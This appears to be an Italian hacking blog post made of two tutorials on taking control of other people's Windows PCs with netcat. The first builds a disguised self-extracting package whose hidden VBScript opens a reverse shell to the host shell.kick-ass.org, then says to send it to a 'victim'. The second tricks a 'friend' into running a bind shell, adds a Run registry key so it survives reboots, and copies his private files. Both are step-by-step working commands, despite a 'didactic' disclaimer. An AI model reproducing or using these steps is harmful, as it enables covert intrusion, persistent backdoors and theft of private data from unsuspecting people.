Siccome l'apertura delle porte sui router non è una procedura standard (cambia a seconda del modello di router) vi rimando alla pagina di help di emule-italia, dov'è presente una guida per il port forwarding e vari esempi per vari modelli di router: http://www.emule.it/guida_emule/config_porte/routers.asp

Seguite la guida ricordandovi di effettuare la configurazione per la porta TCP 43712 (la parte relativa alla porta UDP la potete tranquillamente saltare).



- PARTE 2 - Preparazione del "pacchetto sorpresa" da inviare alla vittima

In questa fase vedremo come preparare l'archivio autoestraente da inviare alla vittima; inseriremo nel pacchetto tutti i programmi fondamentali per prendere il controllo del PC e "agganciarsi" ad esso con unghie e denti.


DOWNLOAD DEGLI STRUMENTI

NetCat - http://joncraton.org/files/nc111nt.zip
[ Non esiste nessuna homepage dove scaricare il NetCat per Windows, il link l'ho trovato direttamente su wikipedia, qui: http://en.wikipedia.org/wiki/Netcat
Inoltre, NetCat è un hacking tool; ciò significa che di per sé è innocuo, ma se usato da un hacker per scopi maliziosi, diventa un potente strumento di controllo remoto; pertanto, alcuni antivirus (tra i quali Kaspersky e Norton) lo rilevano come "potenzialmente pericoloso" ]

WinRar - http://www.rarlab.com/rar/wrar380b4it.exe
[ Famosissimo programma di gestione archivi. Il link in alto è per la versione 3.80 beta 4 in Italiano. Se si desidera installare una versione diversa, rimando alla homepage http://www.rarlab.com ]

Reg.exe [editor del registro] - http://www.dynawell.com/download/reskit/mi...win2000/reg.zip
[ Editor del registro di sistema di Windows da riga di comando. La versione linkata è quella contenuta nel Resource Kit per Windows 2000. In windows XP (credo anche in Vista) il comando reg.exe dovrebbe essere presente di default nel sistema operativo. Io lo includo nel pacchetto per ovviare a qualsiasi evenienza ]

WebGet - http://users.ugent.be/~bpuype/cgi-bin/fetc...l=wget/wget.exe
[ Port per Win32 del programma fondamentale webget (di default si trova in qualsiasi distribuzione di Linux / Unix). Il programma permette di effettuare download di files via HTTP o FTP direttamente da riga di comando ]


Create una cartella da qualche parte (sul Desktop?) chiamata "revshell"; scaricate tutti gli strumenti sopraelencati, e copiate gli eseguibili "nc.exe", "reg.exe" e "wget.exe" all'interno della cartella revshell. Installate WinRar.

Il contenuto della cartella dovrà essere il seguente:

- revshell:
--> nc.exe
--> reg.exe
--> wget.exe

Adesso, sarà necessario creare uno script batch (io uso il VBScript per creare i batch, probabilmente si può fare anche con i semplici ".BAT", ma da lì non so come eseguire programmi in modalità nascosta...).

Aprite il blocco note e incollate all'interno queste 2 righe di codice:


CODICE

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "nc.exe -e cmd.exe shell.kick-ass.org 43712", 0



Cosa vuol dire quel codice?
Lo script in VBS esegue il programma nc.exe, agganciandogli (-e) il prompt dei comandi (cmd.exe) e gli dice di connettersi verso l'host shell.kickass.org sulla porta 43712. Lo zero alla fine serve a specificare che il prog deve essere eseguito senza mostrare la finestra (hehe).

Salvate il file come "revshell.vbs" (mi raccomando l'estensione "vbs") e piazzatelo nella cartella "revshell" insieme agli altri 3 EXE.


CREAZIONE DEL PACCHETTO AUTO-ESTRAENTE

Ora, selezionate tutti e quattro i files (3 .exe e 1 .vbs), cliccate col tasto destro sulla selezione e scegliete "Aggiungi ad un archivio" dal menu contestuale.

Si aprirà la finestra di creazione archivi di WinRar.

Mettete subito il segno di spunta su "Crea un archivio autoestraente":



A questo punto passate alla scheda "Avanzati" e cliccate il bottone "Modulo auto-estraente".
Si aprirà un'ulteriore finestra.

Mettete,
"percorso d'estrazione": ../windows/system32/sys
"esegui dopo l'estrazione": revshell.vbs




Poi, passate alla scheda "Avanzate" e mettete il segno di spunta su "Richiedi l'accesso come amministratore".




Poi, passate alla scheda "Modalità" e scegliete "Nascondi tutto" e "Sovrascrivi tutti i file già esistenti".




Opzionalmente, potete recarvi sulla scheda "Testo iniziale ed icone" e scegliere un icona personalizzata cliccando il bottone "sfoglia" in prossimità di "carica l'icona dal file".




Fatto questo, premete il bottone "OK", di nuovo "OK" e verrà creato il file "revshell.exe" nella cartella revshell :)

Il pacchetto è pronto per essere inviato.


- PARTE 3 - Mettere NetCat in ascolto sul PC locale


CREAZIONE DEL BATCH PER L'ESECUZIONE LOCALE DI NETCAT

Per poter accettare la connessione reverse del pc vittima, sarà necessario mettere in ascolto NetCat sul nostro PC locale. Avendo già impostato i DNS dinamici, avendo già aperto le porte sul firewall (ed eventualmente avendo anche forwardato la porta sul router), il nostro PC è perfettamente equipaggiato per accettare le connessioni in ingresso sulla porta TCP 43712.

Recatevi nella cartella revshell e create un nuovo file di testo, chiamandolo "nc_locale.cmd" (mi raccomando l'estensione ".cmd". In alternativa si può usare l'estensione ".bat"; non c'è differenza, l'importante è che non lasciate il ".txt").

Aprite il file e scriveteci dentro:


CODICE

nc.exe -v -L -p 43712



Cosa significa quel codice? Quel codice lancia NetCat sul vostro PC con lo switch "verbose" (-v, significa che "chiacchiererà" parecchio), lo mette in modalità "ascolto" (-L, in inglese "Listening") sulla porta 43712 (-p 43712).

Salvate il file.


- E ADESSO FACCIAMO PARTIRE IL TUTTO -

Per prima cosa, cliccate il file "nc_locale.cmd" della cartella revshell del vostro computer. Si aprirà una shell con NetCat che attende una connessione in ingresso.




Adesso, inviate il pacchetto "revshell.exe" (magari cabiate il nome C_C ) alla vostra vittima e fate in modo che lo esegua.

Se tutto va bene (e per "va bene" intendo dire che la "vittima" non abbia in uso Norton Antivirus o Kaspersky, che ahimé, intercettano nc.exe come "hacking tool") dovrebbe comparire il prompt dei comandi del pc vittima direttamente sul vostro schermo, esattamente dove avevamo lasciato NetCat in ascolto.



Ora che avete il prompt remoto, teoricamente potete fare qualsiasi cosa: con wget potete far scaricare alla vittima qualsiasi programma, ed eseguirlo da remoto. Con reg.exe potete editare il registro di sistema remoto per aggiungere, rimuovere chiavi di registro. Col comando "tasklist.exe" potete visualizzare la lista dei processi in esecuzione sul pc remoto, e col comando "taskkill.exe" li potete terminare... Eccetera, eccetera

Come creare una backdoor con Netcat

Salve gente
Bene, se siete arrivati fin qui, scommetto che abbiate quanto meno letto il titolo. Oppure siete stati catturati dalla parolina magica "backdoor"?
Finitela di sbavare per tutta la casa, o la allagherete. E soprattutto calmate i bollenti spiriti.
Questo tutorial è a fini puramente didattici. E' molto probabile, infatti, con tutti i sistemi di oggi, firewall, router e quant'altro, che la backdoor non funzioni da remoto. Potrebbe anche farlo, ma dovete trovare un sistema configurato veramente male. E quando dico male intendo dire che il Q.I. dell'utonto scelto non supera quello di una scimmia. Oppure settate il tutto sulla LAN di casa (e installate winsozz su uno dei vostri computer).
Siete ancora curiosi?
Bene, cominciamo. Per l'esperimento useremo l'amico n00b della porta accanto (nel nostro caso l'amico della LAN accanto, tutti ne hanno uno), ma non gli arrecheremo danni, pena essere etichettati per il resto della vita come "quel coglione di un lamer" (più semplicemente "quel coglione" se l'amico n00b non conosce il significato della parola lamer).

1. Che cos'è Netcat
Netcat (come già *i più preparati* avranno intuito dalla parola) è un piccolo programmino che serve a leggere (e scrivere) connessioni usando TCP e UDP. Ma la cosa più interessante di netcat è che può trasformare qualsiasi programma in un server, cioè può creare una pipeline dei comandi da remoto e passarli tutti al nostro programma preferito. Che cosa succederebbe se il nostro programma "preferito" fosse "cmd.exe"? Oh, sì, credo l'abbiate già intuito, bastardoni che non siete altro... Vi tirate su la vostra bella shell remota e potete inviargli tutte le puttanate che vi passano per la mente (oltre a poter girare più o meno indisturbati sull'hard disk del povero amico della LAN accanto e "recuperare" files...).

1.1 Scaricare Netcat
Esistono diverse versioni di netcat per diversi sistemi operativi. Quello che ci interessa è stato compilato per sistemi Win32 ed è reperibile al link http://joncraton.org/media/files/nc111nt.zip. Se tentate di creare una shell su sistemi UNIX, in particolare la versione per FreeBSD ha delle "limitazioni" e permette di creare solo una connessione "blind" (almeno solo questo mi è stato possibile, tramite workaround) verso la shell impostata tramite pipeline (per "blind" intendo dire che non potrete vedere il risultato dei comandi che state inviando da remoto). Se volete smanettarci siete liberi di farlo, anche se questo tutorial si concentrerà unicamente sui sistemi Win32.

2. Let's go!
Bene, eccoci arrivati alla parte "divertente" del tute. Tutto pronto? L'amico della LAN accanto è on-line? Chewing-gum? Ok, partiamo!

2.1 Come farlo funzionare
Ok, per prima cosa contattate l'amico della LAN accanto. Ditegli che c'è un programma che non può proprio perdersi, tool forte, insomma, fategli installare netcat.
Dopodiché, ditegli, che per farlo funzionare, deve cliccare due volte sul bat che gli avete inviato. Oppure fategli eseguire con qualche scusa questo comando dalla directory dove ha installato Netcat:
Codice
nc.exe -d -L -p 9797 -e cmd.exe


Ora diamo una scorsa alle opzioni di netcat con nc -h.
Che cosa abbiamo fatto?
In pratica:
o -d Run in background mode - netcat è "staccato" dalla shell e agisce proprio come un comune servizio di windows. Quindi, anche se il vostro amico della LAN accanto chiude il prompt dei comandi, il vostro bel programma continuerà ad ascoltare sulla porta da voi indicata.
o -L Listen Harder - netcat resta in ascolto sulla macchina alla porta desiderata, e resterà in ascolto anche dopo una disconnessione del client.
o -p Port - indica la porta su cui netcat è in ascolto.
o -e Shell spawning - sarà il programma su cui fare la pipeline. Nel nostro caso è la shell di windows.

Ora che il vostro "server fatto in casa" è pronto e funzionante provate a digitare da una shell il seguente comando:
Codice
nc (e.g. nc 192.168.1.2 9797)


Se il client non vi risponde CONNECTION REFUSED siete dentro! Provate a digitare un comando come dir per essere sicuri che tutto funzioni. Dovrebbe uscire il listato della directory dove risiede nc in remoto.

2.2 Creare uno script di registro per l'avvio automatico
Ottimo. Ora che siamo dentro, vediamo di rendere la nostra "home made backdoor" permanente. Visto che siamo su Win32, perché non sfruttare il registro a nostro vantaggio? In più esiste un utile programmino da shell che ci permette di modificare il registro senza attenderci una conferma da parte dell'utente... sì, sto proprio parlando di reg.exe.
Ok, timbriamo il cartellino per il nostro accesso futuro sul registro di sistema! Da netcat connesso sulla shell remota digitiamo:
Codice
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v nc /t REG_SZ /d "c:\nc.exe -d -L -p 9797 -e cmd.exe"


Bene, come al solito vediamo cosa abbiamo fatto:
o add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - Aggiungiamo un valore di registro a HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
o /f - Sovrascrive senza chiedere conferma... la modalità silenziosa!
o /v nc - Questa è l'etichetta del nostro valore di registro.
o /t REG_SZ - Specifica il tipo del valore di registro. Nel nostro caso è una stringa di avvio.
o /d "c:\nc.exe -d -L -p 9797 -e cmd.exe" - Questo è il valore della nostra chiave di registro. c:\ è la directory dove risiede netcat.

Se tutto è andato a buon fine dovreste poter visualizzare Operazione terminata con successo. sulla vostra shell, o qualcosa di simile.
E ora riavviate il sistema per il vostro amico della LAN accanto.
Codice
shutdown -r -t0


Arresto immediato! Aspettate che il vostro amico torni on-line, poi connettetevi come sapete con netcat sulla porta che avete impostato nel registro di sistema.
Auguri.

2.3 Come "ritirare" un file a scelta...
Avete scoperto immagini priv8 (tipo roba porno o caxxate del genere) sul computer del vostro amico della LAN accanto, ma non sapete come fare a visualizzarle dalla vostra maledetta shell? Ebbene, l'unico modo è "ritirarle"... ovvero farvele inviare. Il problema è che è molto probabile che l'amico della LAN accanto non voglia inviarvele.
Bene, vorrà dire che ce le "ritireremo" da soli... ecco come (lasciate perdere quella vecchia copia di Postal Market)...
Connettetevi come sapete con netcat al servizio netcat remoto del vostro amico. L'accesso è stato consentito? Spero di sì...
Puntate il file da scaricare e tramite dir visualizzatene i parametri e annotatevi la sua dimensione, vi servirà dopo.
Ora spostatevi nella cartella dove risiede netcat e digitate il comando:
Codice
nc.exe -l -p < (e.g. nc.exe -l -p 9988 <> > file_scaricato (e.g. nc 192.168.1.2 9998 > priv8_1.jpg)


dove corrisponde a che avete settato precedentemente. Ora, se fate scorrere il listato dei file con un'altra shell in locale dove risiede netcat vi accorgerete, se avete seguito l'esempio, che è stato creato il file priv8_1.jpg. Controllatene la dimensione. Se coincide con quella che avete segnato prima potete chiudere la shell di "scaricamento" e sbloccare così quella "principale"... E ora date un'occhiata a priv8_1.jpg.
Ooh! Sorpresi, delusi? Certo che il vostro amico della LAN accanto è un vero sporcaccione! E voi ci dormivate pure insieme nello stesso letto a castello! Cattivo, cattivo, cattivo! Non vorrete più rimettere piede nella sua stanza.

mercoledì 28 ottobre 2009

Download notrus sites software

Ecco una nuova lista di software per voi By Notrus

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